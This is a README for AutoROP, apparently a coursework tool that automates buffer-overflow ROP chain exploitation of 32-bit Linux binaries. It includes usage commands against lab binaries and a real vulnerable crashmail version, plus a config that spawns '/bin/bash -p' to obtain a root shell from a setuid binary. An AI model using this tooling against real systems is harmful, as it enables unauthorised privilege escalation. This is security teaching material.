security-cw/README.md

110 lines
5.6 KiB
Markdown
Raw Normal View History

2020-12-11 11:53:47 +00:00
# AutoROP
```console
_ ___ _.--. ___ _____ ______ _____ ______ ______
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
{_.-``-' {_/
__ __
| _______ _ _ _______ _____ ______ _____ _____ |
| |_____| | | | | | |_____/ | | |_____] |
| | | |_____| | |_____| | \_ |_____| | |
2020-12-12 12:20:21 +00:00
|__ __|
2020-12-11 11:53:47 +00:00
```
## Set up Vagrant
The project uses vagrant to ensure consistent results across machines.
```sh
vagrant up
vagrant ssh
cd cw
```
Our test environment uses:
* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider
* Ubuntu 18.04, provided by the image `generic/ubuntu1804`
* Python 3.9.0
* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
## `autoRop.py`
Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by:
1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`.
1. Modifying the padding length on the discovery payload until the exploit is successful.
1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2.
1. Running the program with the target payload.
## ROP exploit on test binaries
All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`.
### `vuln-32` - Binary using file input
This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument.
```sh
python autoRop.py --input_method file --run test-binaries/vuln-32
```
### `null-data-addr` - Binary using file input
This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with:
```sh
$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data "
> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32
```
AutoROP handles this and places its data at a
```sh
python autoRop.py --input_method file --run test-binaries/null-data-addr
```
### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument
These binaries are largely similar. They both take the payload as their first argument.
```sh
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall
```
### `crashmail` - Binary using an optional argument
This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json`
```json
[ "$PAYLOAD$" ]
```
to `test-binaries/crashmail_exec_args.json`
```json
[ "SETTINGS", "$PAYLOAD$" ]
```
like so:
```sh
python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail
```
This may take a little while due to the fairly large required offset.
## Changing the `execve` target
AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout.
We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`:
```json
["/bin/bash", "-p"]
```
This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`.
The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory.
Now we run AutoROP on this binary, and get an interactive root shell:
```sh
python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid
```
We can verify this by typing
```console
whoami
```
2020-12-12 12:20:21 +00:00
and we get `root`!